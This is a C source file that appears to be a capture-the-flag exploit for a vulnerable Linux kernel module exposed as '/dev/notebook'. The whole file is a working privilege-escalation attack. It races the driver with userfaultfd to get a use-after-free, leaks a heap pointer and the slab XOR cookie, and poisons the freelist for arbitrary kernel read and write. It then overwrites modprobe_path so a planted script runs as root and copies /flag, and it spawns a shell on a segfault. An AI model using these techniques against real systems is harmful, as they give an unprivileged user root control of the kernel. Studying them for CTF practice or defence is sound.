// gcc exp.c  -o exp --static -lpthread -O3 -s
#define _GNU_SOURCE

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

#define MAX_DATA_SIZE 0x1000000
#define SEARCH_SIZE 0x10000
#define PIPE_SIZE 0x280

int fd;
int pipe_fd[2];
size_t heap[2];
size_t mod_address,cookie,kernel_base;
struct args {
	size_t index;
	size_t size;
	char *buf;
};

void note_add(size_t index,size_t size,char *p)
{
	struct args ar;
	ar.index = index;
	ar.size = size;
	ar.buf = p;
	ioctl(fd,0x100,&ar);
}

void note_del(size_t index)
{
	struct args ar;
	ar.index = index;
	ioctl(fd,0x200,&ar);
}

void note_edit(size_t index,size_t size,char *p)
{
	struct args ar;
	ar.index = index;
	ar.size = size;
	ar.buf = p;
	ioctl(fd,0x300,&ar);
}

void gift(char *p)
{
	struct args ar;
	ar.buf = p;
	ioctl(fd,100,&ar);
}

void write_to_kernel (size_t index, char *user_ptr)
{
	write(fd,user_ptr,index);
}
void read_from_kernel (size_t index, char *user_ptr)
{
	read(fd,user_ptr,index);
}

void errExit(char* msg)
{
	puts(msg);
	exit(-1);
}

uint64_t fault_page, fault_page_len;

void* UAF_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] Handler Created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // Wainting copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	puts("[+] Trigger! I'm going to hang");
	note_del(0);

	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	
	struct uffdio_copy uc;
	
	size_t target = cookie ^  (mod_address + 0x2500 - 0x10) ^ heap[0];
	uint64_t DATA[2] = {target,0};

	uc.src = (unsigned long)DATA;
	uc.dst = (unsigned long)fault_page;
	uc.len = fault_page_len;
	uc.mode = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复copy_from_user

	puts("[+] Done");
	return NULL;
}
void register_userfault()
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page;
	ur.range.len   = fault_page_len;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理FD,若访问到FAULT_PAGE，则访问被挂起，uffd会接收到信号
	if ( pthread_create(&thr, NULL, UAF_handler, (void*)uffd) ) // handler函数进行访存错误处理
		errExit("[-] pthread_create");
    return;
}

void shell(){
	puts("ROOT [+]");
	system("/bin/sh");
}

int main()
{
	signal(SIGSEGV, shell);
	fd = open("/dev/notebook", O_RDWR);
	if(fd < 0)	 _exit(-1);
	
	
	char *data = calloc(1,0x100);
	char *mem = calloc(1,MAX_DATA_SIZE);
	
	
	FILE *stream =popen("cat /tmp/moduleaddr  | awk '{print $6}'","r");
	fread(mem,0x12,1,stream);
	mod_address = strtoul(mem,NULL,16);
	printf("Mod_BASE:\t %lX\n",mod_address);
	
	note_add(0,0x60,data);
	note_add(1,0x60,data);
	gift(mem);
	heap[0] = *(size_t*)mem;
	heap[1] = *(size_t*)(mem + 0x10);
	printf("HEAP - 0:\t %lX\n",heap[0]);
	printf("HEAP - 1:\t %lX\n",heap[1]);
	
	note_del(1);
	note_del(0);
	note_add(0,0x60,data);
	note_add(1,0x60,data);
	read_from_kernel(0,mem);
	cookie = (*(size_t*)mem) ^ heap[0] ^ heap[1];
//	cookie = 0xBCA44720644C7674;
	printf("XOR Cookie:\t%lX\n",cookie);
	fault_page = (size_t)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	fault_page_len = 0x1000;
	register_userfault(); 	// 注册监视缺页内存
	write_to_kernel(0,(char*)fault_page); 	// 触发缺页并挂起进程
	
	note_del(1);
	*(size_t*)(data + 0xF0) = cookie ^ (mod_address + 0x2500 - 0x10);
	uint32_t i;
	size_t tmp_chunk;
	for(i = 0; i < 0x10; i++)
	{
		note_add(i,0x60,data);
		gift(mem);
		tmp_chunk = *(size_t*)(mem + i*0x10);
		if(tmp_chunk == heap[0]) {
			printf("Next is Target, Has Found, Index: %d\n",i);
			break;
		}
		if(i == 0xF)
		{
			puts("Can not Found the Target");
			_exit(-1);
		}
	}
	// __kmalloc 0xFFFFFFFF812368D0
	// xor cookie address 0xFFFFFFFF81239E1C or 0xFFFFFFFF81236960
	
	note_add(i + 1,0x60,data);
	
	size_t BUF[0x10] = {0};
	BUF[2] = mod_address + 0x168;
	BUF[3] = 0x4;
	BUF[4] = mod_address + 0x2500;
	BUF[5] = 0x100;
	write_to_kernel(i + 1,BUF);
	
	read_from_kernel(0,mem);
	kernel_base = ((*(uint32_t*)mem + mod_address + 0x16C) | 0xFFFFFFFF00000000) - 0x476C30;
	printf("Kernel_BASE:\t%lX\n",kernel_base);
	
	size_t modprobe_path = kernel_base + 0x125D2E0;
	
	BUF[0] = modprobe_path;
	BUF[1] = 0x10;
	write_to_kernel(1,BUF);
	
	strcpy(data,"/tmp/copy.sh");
	write_to_kernel(0,data);
	
	system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/copy.sh");
	system("chmod +x /tmp/copy.sh");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
	system("chmod +x /tmp/dummy");

	system("/tmp/dummy");
	
	close(fd);
	_exit(-1);
}
